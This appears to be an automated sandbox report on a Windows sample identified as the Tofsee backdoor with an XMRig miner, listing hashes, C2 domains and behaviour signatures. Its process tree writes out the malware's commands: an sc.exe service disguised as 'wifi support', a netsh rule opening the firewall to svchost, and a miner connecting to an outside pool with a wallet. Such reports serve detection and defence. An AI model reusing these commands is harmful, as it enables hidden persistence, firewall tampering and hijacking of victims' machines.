Analysis

  • max time kernel
    299s
  • max time network
    321s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/11/2023, 04:53

General

  • Target

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe

  • Size

    251KB

  • MD5

    706117d683f58e36b97b72e170ace5d8

  • SHA1

    f7d0f88554f43728cc36078a9cd51134140da639

  • SHA256

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a

  • SHA512

    e4d0845ac027403b2cb2cb553c950a260a9adc4cd937545b83491d7feac6fe0b5b6878146fcabaf3096fe8ed2f0d94ddbe015f743605f027c2b4f8eefd2d9add

  • SSDEEP

    3072:Hbh7GhyIw5+DY0ZSPw2IKyHJVpys16Cz1npTqfZXKkksDaVXG1OGZ4t7uEa:4EIwss0sPw2IKoHyOnp0KjsAAP4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe
    "C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fvchadde\
      2⤵
        PID:3176
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nqjuudee.exe" C:\Windows\SysWOW64\fvchadde\
        2⤵
          PID:344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fvchadde binPath= "C:\Windows\SysWOW64\fvchadde\nqjuudee.exe /d\"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fvchadde "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fvchadde
          2⤵
          • Launches sc.exe
          PID:3740
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:688
      • C:\Windows\SysWOW64\fvchadde\nqjuudee.exe
        C:\Windows\SysWOW64\fvchadde\nqjuudee.exe /d"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3592
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4804
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3624

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\nqjuudee.exe

              Filesize

              14.9MB

              MD5

              b17c436e115c7dc03c601fde7a8a1be7

              SHA1

              085dd1832a4a76820f99f711aaa8651c71bd0490

              SHA256

              388fc2e19ecd3e83b842dfabb5ebbad727743753dbf191d7184e4723fd3ed804

              SHA512

              8863ce73dfa2b03deb2d4568b4eb5706da8f728012e167ab53196a399a341b093d0d59894e720a445c9a461d3e2d0c8a100c33c0d0aea247b13ec0e80d5491f4

            • C:\Windows\SysWOW64\fvchadde\nqjuudee.exe

              Filesize

              14.9MB

              MD5

              b17c436e115c7dc03c601fde7a8a1be7

              SHA1

              085dd1832a4a76820f99f711aaa8651c71bd0490

              SHA256

              388fc2e19ecd3e83b842dfabb5ebbad727743753dbf191d7184e4723fd3ed804

              SHA512

              8863ce73dfa2b03deb2d4568b4eb5706da8f728012e167ab53196a399a341b093d0d59894e720a445c9a461d3e2d0c8a100c33c0d0aea247b13ec0e80d5491f4

            • memory/3592-10-0x0000000000990000-0x0000000000A90000-memory.dmp

              Filesize

              1024KB

            • memory/3592-13-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/3592-15-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/3624-70-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-69-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-62-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-67-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-68-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-75-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-72-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-73-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-74-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/3624-71-0x0000000002EA0000-0x0000000002F91000-memory.dmp

              Filesize

              964KB

            • memory/4364-8-0x00000000008C0000-0x00000000008D3000-memory.dmp

              Filesize

              76KB

            • memory/4364-1-0x0000000000AD0000-0x0000000000BD0000-memory.dmp

              Filesize

              1024KB

            • memory/4364-2-0x00000000008C0000-0x00000000008D3000-memory.dmp

              Filesize

              76KB

            • memory/4364-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/4364-3-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/4804-39-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-50-0x0000000002CD0000-0x0000000002CD5000-memory.dmp

              Filesize

              20KB

            • memory/4804-37-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-38-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-35-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-40-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-41-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-42-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-43-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-44-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-45-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-47-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-46-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-48-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-49-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-36-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-53-0x0000000002CD0000-0x0000000002CD5000-memory.dmp

              Filesize

              20KB

            • memory/4804-54-0x0000000008D50000-0x000000000915B000-memory.dmp

              Filesize

              4.0MB

            • memory/4804-57-0x0000000008D50000-0x000000000915B000-memory.dmp

              Filesize

              4.0MB

            • memory/4804-58-0x0000000002CE0000-0x0000000002CE7000-memory.dmp

              Filesize

              28KB

            • memory/4804-33-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-34-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-30-0x00000000027F0000-0x0000000002800000-memory.dmp

              Filesize

              64KB

            • memory/4804-27-0x00000000027E0000-0x00000000027E6000-memory.dmp

              Filesize

              24KB

            • memory/4804-26-0x0000000004540000-0x000000000474F000-memory.dmp

              Filesize

              2.1MB

            • memory/4804-23-0x0000000004540000-0x000000000474F000-memory.dmp

              Filesize

              2.1MB

            • memory/4804-22-0x0000000002730000-0x0000000002745000-memory.dmp

              Filesize

              84KB

            • memory/4804-20-0x0000000002730000-0x0000000002745000-memory.dmp

              Filesize

              84KB

            • memory/4804-19-0x0000000002730000-0x0000000002745000-memory.dmp

              Filesize

              84KB

            • memory/4804-11-0x0000000002730000-0x0000000002745000-memory.dmp

              Filesize

              84KB